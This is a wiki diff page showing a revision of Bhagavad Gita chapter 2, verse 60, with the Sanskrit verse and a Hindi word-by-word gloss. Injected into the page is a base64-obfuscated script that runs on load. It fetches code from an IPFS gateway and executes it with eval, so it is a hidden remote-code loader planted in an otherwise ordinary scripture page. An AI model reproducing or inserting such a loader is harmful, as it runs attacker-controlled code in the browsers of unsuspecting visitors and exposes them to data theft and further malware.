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− | '''यततो ह्रापि कौन्तेय | + | '''यततो ह्रापि कौन्तेय पुरुषस्य विपश्चित: ।'''<br/> |
'''इन्द्रियाणि प्रमाथीनि हरन्ति प्रसभं मन: ।।60।।''' | '''इन्द्रियाणि प्रमाथीनि हरन्ति प्रसभं मन: ।।60।।''' | ||
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− | कौन्तेय = हे अर्जुन ; हि = जिससे (कि) ; यतत: = यत्न करते हुए ; विपश्र्चित: = बुद्धिमान् ; प्रमाथीनि = यह प्रमथन स्वभाववाली ; इन्द्रियाणि = इन्द्रियां ; | + | कौन्तेय = हे अर्जुन ; हि = जिससे (कि) ; यतत: = यत्न करते हुए ; विपश्र्चित: = बुद्धिमान् ; प्रमाथीनि = यह प्रमथन स्वभाववाली ; इन्द्रियाणि = इन्द्रियां ; पुरुषस्य = पुरुषके ; अपि = भी ; मन: = मनको ; प्रसभम् = बलात्कारसे ; हरन्ति = हर लेती हैं; |
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१२:३४, २१ मार्च २०१० के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
गीता अध्याय-2 श्लोक-60 / Gita Chapter-2 Verse-60
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